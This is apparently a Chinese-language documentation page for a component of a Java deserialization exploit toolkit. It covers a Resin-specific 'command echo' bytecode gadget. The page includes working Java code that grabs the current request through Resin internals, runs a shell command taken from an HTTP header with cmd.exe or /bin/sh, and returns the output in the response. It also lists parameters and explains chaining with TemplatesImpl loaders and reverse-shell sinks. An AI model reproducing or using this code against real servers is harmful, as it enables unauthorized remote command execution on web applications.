- 类别:bytecode 别名:— 优先级:—
- 作者:ReaJason
- 依赖:无(运行时反射调用 Resin 内部类,攻击方不引入依赖)
生成一段专用于 Resin 容器的命令回显字节码:运行时通过 ServletInvocation.getContextRequest() 拿到当前请求,从指定 HTTP 请求头取命令、执行、把结果明文写回响应体。属于链尾字节码 sink(END)。
- 入口
tags:Bytecode、Echo、ENDBytecode:产出原始类字节码,需上游BytecodeConvert装入TemplatesImpl触发defineClass。Echo:命令回显型 sink。END:链的终点。
- 衔接
nextTags:空。 excludes:空。
gadget 本体仅把回显头名烘焙进模板:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(ResinEchoBytecode.class);
javassistHelper.modifyStringField("header", this.header); // 写死回显请求头名
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END 环
return this.getObject();
}模板类在静态块 new ResinEchoBytecode() 中完成取请求→执行→回显:
public ResinEchoBytecode() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Class<?> invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null); // 取当前请求
Object response = getFieldValue(request, "_response"); // 反射取响应
String data = this.getDataFromReq(request); // request.getHeader(header)
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try { writer.write(this.run(data)); } // 执行命令并写回
catch (Throwable e) { e.printStackTrace(writer); }
writer.flush(); writer.close();
invokeMethod(response, "close", null, null);
} catch (Throwable throwable) {}
}
static { new ResinEchoBytecode(); }关键点:
com.caucho.server.dispatch.ServletInvocation.getContextRequest()是 Resin 提供的静态方法,能在无 request 引用时拿到当前线程绑定的请求对象——这是本 gadget 只适用于 Resin 的原因。getDataFromReq即request.getHeader(header)取命令;run()按os.name选cmd.exe /c或/bin/sh -c,用ProcessBuilder(...).redirectErrorStream(true)合并标准/错误输出,Scanner(...).useDelimiter("\\A").next()读全部结果。- 结果经
response.getWriter().write(...)明文回显;执行异常时把栈打印到响应,便于调试。 invokeMethod/getFieldValue为向父类逐层查找的反射工具,增强对不同 Resin 版本的兼容。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
header |
请求头 key | 携带待执行命令的 HTTP Header 名 | X-Authorization |
任意 |
- 仅适用于 Resin(Caucho)容器,依赖其
com.caucho.server.dispatch.ServletInvocation与 request 的_response字段。 - 回显为明文 HTTP:命令在请求头、结果在响应体,流量层可检测。
- 需上游
TemplatesImpl系装载器触发字节码,要求目标 JDK 允许TemplatesImpl定义类。
自由构件,未直接出现在预设链(usedInChains 为空)。可替换 命令执行 类链中的 Exec,与 BytecodeConvert 组合,用于 Resin 环境的回显利用。
- 上游(消费本
Bytecode产物):BytecodeConvert、TemplatesImpl。 - 同族回显 sink:OneForAllEcho(多容器通用回显)、
TomcatEcho/JettyEcho/WebLogicEcho等单容器回显。 - 同族命令 sink:Exec、ReverseShell。